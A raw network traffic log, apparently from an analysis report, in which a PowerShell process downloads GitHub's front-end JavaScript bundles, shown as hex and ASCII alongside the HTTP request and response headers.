2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 72 65 61 6b 3b 63 61 73 65 22 41 72 72 6f 77 55 70 22 3a 7b 61 26 26 21 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 2c 22 22 29 3b 6c 65 74 20 74 3d 6f 28 65 2c 21 31 29 3b 74 26 26 74 2e 66 6f 63 75 73 28 29 2c 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 6e 22 3a 69 66 28 6c 26 26 6e 2e 63 74 72 6c 4b 65 79 29 7b 6c 65 74 20 74 3d 6f 28 65 2c 21 30 29 3b 74 26 26 74 2e 66 6f 63 75 73 28 29 2c 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 70 22 3a 69 66 28 6c 26 26 6e 2e 63 74 72 6c 4b 65 79 29 7b 6c 65 74 20 74 3d 6f 28 65 2c 21 31 29 3b 74 26 26 74 2e 66 6f 63 75 73 28 29 2c Data Ascii: reak;case"ArrowUp":{a&&!e.hasAttribute("open")&&e.setAttribute("open","");let t=o(e,!1);t&&t.focus(),n.preventDefault()}break;case"n":if(l&&n.ctrlKey){let t=o(e,!0);t&&t.focus(),n.preventDefault()}break;case"p":if(l&&n.ctrlKey){let t=o(e,!1);t&&t.focus(),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49742	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:20 UTC	450	OUT	GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54-74622d897749.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:20 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 119069 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:09 GMT ETag: "0x8DCDD82656BB892" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405127 Date: Mon, 30 Sep 2024 13:50:20 GMT X-Served-By: cache-iad-kjyo7100068-IAD, cache-ewr-kewr1740031-EWR X-Cache: HIT, HIT X-Cache-Hits: 38, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c37b4f91f116731a308b4860856bd8fc38373432
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 66 69 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 76 69 65 77 2d 63 6f 2d 65 62 39 64 35 34 22 5d 2c 7b 39 31 37 30 37 3a 28 74 2c 65 2c 69 29 3d 3e 7b 69 2e 64 28 65 2c 7b 6f 3a 28 29 3d 3e 41 74 74 61 63 68 6d 65 6e 74 7d 29 3b 6c 65 74 20 41 74 74 61 63 68 6d 65 6e 74 3d 63 6c 61 73 73 20 41 74 74 61 63 68 6d 65 6e 74 7b 63 6f Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54"],{91707:(t,e,i)=>{i.d(e,{o:()=>Attachment});let Attachment=class Attachment{co
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 73 69 74 69 6f 6e 20 66 72 6f 6d 20 24 7b 74 68 69 73 2e 73 74 61 74 65 7d 20 74 6f 20 73 61 76 65 64 60 29 3b 74 68 69 73 2e 73 74 61 74 65 3d 22 73 61 76 65 64 22 2c 74 68 69 73 2e 69 64 3d 6e 75 6c 6c 21 3d 3d 28 65 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 69 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 65 3f 65 3a 6e 75 6c 6c 2c 74 68 69 73 2e 68 72 65 66 3d 6e 75 6c 6c 21 3d 3d 28 69 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 68 72 65 66 29 26 26 76 6f 69 64 20 30 21 3d 3d 69 3f 69 3a 6e 75 6c 6c 2c 74 68 69 73 2e 6e 61 6d 65 3d 6e 75 6c 6c 21 3d 3d 28 6e 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6e 61 6d 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 3a 6e 75 6c 6c 7d 69 73 50 65 6e 64 69 6e 67 28 29 7b 72 65 74 75 72 Data Ascii: sition from ${this.state} to saved`);this.state="saved",this.id=null!==(e=null==t?void 0:t.id)&&void 0!==e?e:null,this.href=null!==(i=null==t?void 0:t.href)&&void 0!==i?i:null,this.name=null!==(n=null==t?void 0:t.name)&&void 0!==n?n:null}isPending(){retur
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 73 41 74 74 72 69 62 75 74 65 28 22 64 69 72 65 63 74 6f 72 79 22 29 7d 73 65 74 20 64 69 72 65 63 74 6f 72 79 28 74 29 7b 74 3f 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 69 72 65 63 74 6f 72 79 22 2c 22 22 29 3a 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 69 72 65 63 74 6f 72 79 22 29 7d 61 73 79 6e 63 20 61 74 74 61 63 68 28 74 29 7b 6c 65 74 20 65 3d 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 61 54 72 61 6e 73 66 65 72 3f 61 77 61 69 74 20 41 74 74 61 63 68 6d 65 6e 74 2e 74 72 61 76 65 72 73 65 28 74 2c 74 68 69 73 2e 64 69 72 65 63 74 6f 72 79 29 3a 41 74 74 61 63 68 6d 65 6e 74 2e 66 72 6f 6d 28 74 29 3b 74 68 69 73 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e Data Ascii: sAttribute("directory")}set directory(t){t?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(t){let e=t instanceof DataTransfer?await Attachment.traverse(t,this.directory):Attachment.from(t);this.dispatchEvent(new CustomEven
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 6c 65 74 20 65 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 69 6c 65 41 74 74 61 63 68 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 69 3d 74 2e 74 61 72 67 65 74 3b 69 66 28 21 28 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 6e 70 75 74 22 29 3b 69 66 28 6e 26 26 69 2e 69 64 21 3d 3d 6e 29 72 65 74 75 72 6e 3b 6c 65 74 20 72 3d 69 2e 66 69 6c 65 73 3b 72 26 26 30 21 3d 3d 72 2e 6c 65 6e 67 74 68 26 26 28 65 2e 61 74 74 61 63 68 28 72 Data Ascii: .preventDefault())}function u(t){let e=t.currentTarget;if(!(e instanceof FileAttachmentElement))return;let i=t.target;if(!(i instanceof HTMLInputElement))return;let n=e.getAttribute("input");if(n&&i.id!==n)return;let r=i.files;r&&0!==r.length&&(e.attach(r
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 63 61 6c 6c 28 74 29 3a 6e 3f 6e 2e 76 61 6c 75 65 3a 65 2e 67 65 74 28 74 29 7d 3b 6c 65 74 20 41 63 74 69 6f 6e 4c 69 73 74 54 72 75 6e 63 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 3d 63 6c 61 73 73 20 41 63 74 69 6f 6e 4c 69 73 74 54 72 75 6e 63 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 29 7b 74 68 69 73 2e 72 65 73 69 7a 65 4f 62 73 65 72 76 65 72 3d 6e 65 77 20 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 28 74 3d 3e 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 7b 6c 65 74 20 74 3d 65 2e 74 61 72 67 65 74 3b 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 75 70 64 61 74 65 28 74 29 7d 7d 29 2c 74 68 69 73 2e 72 65 73 69 7a 65 4f 62 73 65 72 76 65 72 2e 6f 62 73 65 72 76 Data Ascii: call(t):n?n.value:e.get(t)};let ActionListTruncationObserver=class ActionListTruncationObserver{constructor(t){this.resizeObserver=new ResizeObserver(t=>{for(let e of t){let t=e.target;t instanceof HTMLElement&&this.update(t)}}),this.resizeObserver.observ
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 31 3b 61 3e 3d 30 3b 61 2d 2d 29 28 72 3d 74 5b 61 5d 29 26 26 28 73 3d 28 6f 3c 33 3f 72 28 73 29 3a 6f 3e 33 3f 72 28 65 2c 69 2c 73 29 3a 72 28 65 2c 69 29 29 7c 7c 73 29 3b 72 65 74 75 72 6e 20 6f 3e 33 26 26 73 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 73 29 2c 73 7d 2c 74 38 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6e 29 7b 69 66 28 22 61 22 3d 3d 3d 69 26 26 21 6e 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 69 76 61 74 65 20 61 63 63 65 73 73 6f 72 20 77 61 73 20 64 65 66 69 6e 65 64 20 77 69 74 68 6f 75 74 20 61 20 67 65 74 74 65 72 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 74 21 3d 3d 65 7c 7c 21 6e 3a 21 65 2e 68 61 73 28 74 29 29 74 68 72 6f Data Ascii: 1;a>=0;a--)(r=t[a])&&(s=(o<3?r(s):o>3?r(e,i,s):r(e,i))\|\|s);return o>3&&s&&Object.defineProperty(e,i,s),s},t8=function(t,e,i,n){if("a"===i&&!n)throw TypeError("Private accessor was defined without a getter");if("function"==typeof e?t!==e\|\|!n:!e.has(t))thro
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 73 65 72 76 65 28 74 68 69 73 29 2c 65 65 2e 6f 62 73 65 72 76 65 28 74 68 69 73 29 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 28 29 3d 3e 7b 74 68 69 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 76 69 73 69 62 6c 65 22 2c 74 68 69 73 2e 75 70 64 61 74 65 28 29 7d 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 65 69 2e 75 6e 6f 62 73 65 72 76 65 28 74 68 69 73 29 2c 65 65 2e 75 6e 6f 62 73 65 72 76 65 28 74 68 69 73 29 7d 6d 65 6e 75 49 74 65 6d 43 6c 69 63 6b 28 74 29 7b 6c 65 74 20 65 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2c 69 3d 65 3f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 6f 72 22 29 3b 69 26 26 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: serve(this),ee.observe(this),requestAnimationFrame(()=>{this.style.overflow="visible",this.update()})}disconnectedCallback(){ei.unobserve(this),ee.unobserve(this)}menuItemClick(t){let e=t.currentTarget,i=e?.getAttribute("data-for");i&&document.getElementB
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 70 65 72 74 79 28 22 76 69 73 69 62 69 6c 69 74 79 22 2c 22 68 69 64 64 65 6e 22 29 2c 69 2e 68 69 64 64 65 6e 3d 21 31 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 6f 72 65 4d 65 6e 75 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 6d 65 6e 75 22 5d 20 3e 20 6c 69 27 29 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 68 69 73 2e 69 74 65 6d 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 6c 65 74 20 69 3d 74 68 69 73 2e 69 74 65 6d 73 5b 65 5d 2c 6e 3d 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 41 63 74 69 6f 6e 42 61 72 2d 64 69 76 69 64 65 72 22 29 3f 68 2e 44 69 76 69 64 65 72 3a 68 2e 49 74 65 6d 3b 69 66 28 21 74 28 Data Ascii: perty("visibility","hidden"),i.hidden=!1)},c=function(){return this.moreMenu.querySelectorAll('[role="menu"] > li')},d=function(t){for(let e=0;e<this.items.length;e++){let i=this.items[e],n=i.classList.contains("ActionBar-divider")?h.Divider:h.Item;if(!t(
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 65 29 7d 7d 29 29 2c 69 7c 7c 28 69 3d 6e 65 77 20 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 28 28 29 3d 3e 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 65 2e 75 70 64 61 74 65 28 29 7d 29 29 2c 69 2e 6f 62 73 65 72 76 65 28 72 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 2c 65 2e 6f 62 73 65 72 76 65 28 72 29 7d 7d 29 28 29 3b 6c 65 74 20 41 6e 63 68 6f 72 65 64 50 6f 73 69 74 69 6f 6e 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 41 6e 63 68 6f 72 65 64 50 6f 73 69 74 69 6f 6e 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 2c 75 2e 73 65 74 28 74 68 69 73 2c 6e 75 6c 6c 29 Data Ascii: e)}})),i\|\|(i=new ResizeObserver(()=>{for(let e of t)e.update()})),i.observe(r.ownerDocument.documentElement),e.observe(r)}})();let AnchoredPositionElement=class AnchoredPositionElement extends HTMLElement{constructor(){super(...arguments),u.set(this,null)
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 6f 75 6e 64 73 28 74 29 7b 74 68 69 73 2e 74 6f 67 67 6c 65 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 73 22 2c 74 29 7d 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 74 68 69 73 2e 75 70 64 61 74 65 28 29 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 74 6f 67 67 6c 65 22 2c 28 29 3d 3e 74 68 69 73 2e 75 70 64 61 74 65 28 29 29 2c 65 73 28 74 68 69 73 29 7d 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 74 68 69 73 2e 75 70 64 61 74 65 28 29 7d 75 70 64 61 74 65 28 29 7b 74 68 69 73 2e 69 73 43 6f 6e 6e 65 63 74 65 64 26 26 28 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 65 72 28 74 68 69 73 2c 6d 2c 22 Data Ascii: ounds(t){this.toggleAttribute("allow-out-of-bounds",t)}connectedCallback(){this.update(),this.addEventListener("beforetoggle",()=>this.update()),es(this)}attributeChangedCallback(){this.update()}update(){this.isConnected&&(cancelAnimationFrame(er(this,m,"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49743	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:20 UTC	365	OUT	GET /assets/github-elements-36d7dcef5a08.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:20 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 37348 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:05 GMT ETag: "0x8DCDD8262CA67D2" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405127 Date: Mon, 30 Sep 2024 13:50:20 GMT X-Served-By: cache-iad-kcgs7200177-IAD, cache-nyc-kteb1890091-NYC X-Cache: HIT, HIT X-Cache-Hits: 51, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d64927440e817e1b2939a494be10254177252bb1
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 67 69 74 68 75 62 2d 65 6c 65 6d 65 6e 74 73 22 5d 2c 7b 33 33 35 34 35 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 28 33 35 37 29 2c 69 28 32 30 37 36 31 29 2c 69 28 37 34 30 35 37 29 2c 69 28 39 31 37 30 37 29 2c 69 28 36 32 30 34 34 29 2c 69 28 39 30 32 30 34 29 3b 76 61 72 20 6e 3d 69 28 39 34 31 34 37 29 3b 69 28 37 38 31 34 33 29 2c 69 28 32 37 35 35 32 29 2c 69 28 37 32 37 30 35 29 2c 69 28 38 31 30 32 38 29 2c 69 28 34 34 39 31 31 29 2c 77 69 6e 64 6f 77 2e 49 6e 63 6c 75 64 65 46 72 61 67 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 70 72 6f Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["github-elements"],{33545:(e,t,i)=>{i(357),i(20761),i(74057),i(91707),i(62044),i(90204);var n=i(94147);i(78143),i(27552),i(72705),i(81028),i(44911),window.IncludeFragmentElement.pro
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 65 74 22 29 3b 72 65 74 75 72 6e 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 66 28 74 2e 73 65 74 29 74 2e 73 65 74 2e 63 61 6c 6c 28 65 2c 69 29 3b 65 6c 73 65 7b 69 66 28 21 74 2e 77 72 69 74 61 62 6c 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 61 74 74 65 6d 70 74 65 64 20 74 6f 20 73 65 74 20 72 65 61 64 20 6f 6e 6c 79 20 70 72 69 76 61 74 65 20 66 69 65 6c 64 22 29 3b 74 2e 76 61 6c 75 65 3d 69 7d 7d 28 65 2c 6e 2c 69 29 2c 69 7d 72 28 5b 73 2e 61 43 5d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2c 22 68 65 6c 70 46 69 65 6c 64 22 2c 76 6f 69 64 20 30 29 2c 72 28 5b 73 2e 7a 56 5d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2c 22 68 65 6c 70 54 65 78 74 73 22 2c 76 6f 69 64 20 30 29 2c 72 28 5b 73 2e 7a 56 5d 2c 61 2e 70 72 6f 74 6f 74 79 70 Data Ascii: et");return!function(e,t,i){if(t.set)t.set.call(e,i);else{if(!t.writable)throw TypeError("attempted to set read only private field");t.value=i}}(e,n,i),i}r([s.aC],a.prototype,"helpField",void 0),r([s.zV],a.prototype,"helpTexts",void 0),r([s.zV],a.prototyp
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 3d 73 7c 7c 73 3c 69 7c 7c 73 3e 65 2e 6c 65 6e 67 74 68 29 63 6f 6e 74 69 6e 75 65 3b 22 22 21 3d 3d 65 2e 73 6c 69 63 65 28 69 2c 73 29 26 26 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 65 2e 73 6c 69 63 65 28 69 2c 73 29 29 29 2c 69 3d 73 2b 31 3b 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6d 61 72 6b 22 29 3b 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 65 5b 73 5d 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 65 2e 73 6c 69 63 65 28 69 29 29 29 2c 74 68 69 73 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 72 65 6e 28 6e 29 2c Data Ascii: =s\|\|s<i\|\|s>e.length)continue;""!==e.slice(i,s)&&n.appendChild(document.createTextNode(e.slice(i,s))),i=s+1;let t=document.createElement("mark");t.textContent=e[s],n.appendChild(t)}n.appendChild(document.createTextNode(e.slice(i))),this.replaceChildren(n),
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 6d 62 65 72 2c 69 7d 28 69 2e 76 61 6c 75 65 2c 7b 6d 69 6e 69 6d 75 6d 43 68 61 72 61 63 74 65 72 43 6f 75 6e 74 3a 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 69 6e 69 6d 75 6d 2d 63 68 61 72 61 63 74 65 72 2d 63 6f 75 6e 74 22 29 29 2c 70 61 73 73 70 68 72 61 73 65 4c 65 6e 67 74 68 3a 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 70 61 73 73 70 68 72 61 73 65 2d 6c 65 6e 67 74 68 22 29 29 7d 29 3b 69 66 28 73 2e 76 61 6c 69 64 29 7b 69 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 22 22 29 3b 6c 65 74 20 65 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 64 6c 2e 66 6f 72 6d 2d 67 72 6f 75 70 22 29 3b 65 26 26 28 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 65 72 72 6f Data Ascii: mber,i}(i.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(s.valid){i.setCustomValidity("");let e=t.querySelector("dl.form-group");e&&(e.classList.remove("erro
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 61 29 3a 72 3e 33 3f 73 28 74 2c 69 2c 61 29 3a 73 28 74 2c 69 29 29 7c 7c 61 29 3b 72 65 74 75 72 6e 20 72 3e 33 26 26 61 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2c 61 29 2c 61 7d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 28 22 70 61 73 73 77 6f 72 64 2d 73 74 72 65 6e 67 74 68 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 50 61 73 73 77 6f 72 64 53 74 72 65 6e 67 74 68 45 6c 65 6d 65 6e 74 3d 76 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 22 70 61 73 73 77 6f 72 64 2d 73 74 72 65 6e 67 74 68 22 2c 76 29 29 2c 69 28 32 31 34 32 34 29 3b 6c 65 74 20 79 3d 63 6c 61 73 73 20 50 6f 6c 6c 49 6e 63 6c 75 64 65 46 72 61 67 6d 65 6e 74 45 6c 65 6d 65 6e Data Ascii: a):r>3?s(t,i,a):s(t,i))\|\|a);return r>3&&a&&Object.defineProperty(t,i,a),a}window.customElements.get("password-strength")\|\|(window.PasswordStrengthElement=v,window.customElements.define("password-strength",v)),i(21424);let y=class PollIncludeFragmentElemen
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 67 68 74 22 2c 22 6d 69 6e 2d 68 65 69 67 68 74 22 2c 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 22 2c 22 70 61 64 64 69 6e 67 2d 6c 65 66 74 22 2c 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 2c 22 70 61 64 64 69 6e 67 2d 74 6f 70 22 2c 22 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 22 2c 22 62 6f 72 64 65 72 2d 6c 65 66 74 22 2c 22 62 6f 72 64 65 72 2d 72 69 67 68 74 22 2c 22 62 6f 72 64 65 72 2d 74 6f 70 22 2c 22 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 22 2c 22 74 65 78 74 2d 69 6e 64 65 6e 74 22 2c 22 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 22 2c 22 77 69 64 74 68 22 2c 22 77 6f 72 64 2d 73 70 61 63 69 6e 67 22 5d 2c 54 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 4c 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 6b 3d 63 6c 61 73 73 20 53 6c 61 73 68 43 6f 6d Data Ascii: ght","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],T=new WeakMap,L=new WeakMap,k=class SlashCom
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 2e 73 65 74 28 65 2c 72 29 3b 6c 65 74 20 74 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 2c 69 3d 78 2e 73 6c 69 63 65 28 30 29 3b 22 74 65 78 74 61 72 65 61 22 3d 3d 3d 73 3f 69 2e 70 75 73 68 28 22 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 2d 77 72 61 70 3b 22 29 3a 69 2e 70 75 73 68 28 22 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 22 29 3b 66 6f 72 28 6c 65 74 20 65 3d 30 2c 6e 3d 5f 2e 6c 65 6e 67 74 68 3b 65 3c 6e 3b 65 2b 2b 29 7b 6c 65 74 20 6e 3d 5f 5b 65 5d 3b 69 2e 70 75 73 68 28 60 24 7b 6e 7d 3a 24 7b 74 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 6e 29 7d 3b 60 29 7d 72 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 69 2e 6a 6f 69 6e 28 22 20 22 29 7d 6c 65 74 20 61 3d 64 6f 63 75 Data Ascii: .set(e,r);let t=window.getComputedStyle(e),i=x.slice(0);"textarea"===s?i.push("white-space:pre-wrap;"):i.push("white-space:nowrap;");for(let e=0,n=_.length;e<n;e++){let n=_[e];i.push(`${n}:${t.getPropertyValue(n)};`)}r.style.cssText=i.join(" ")}let a=docu
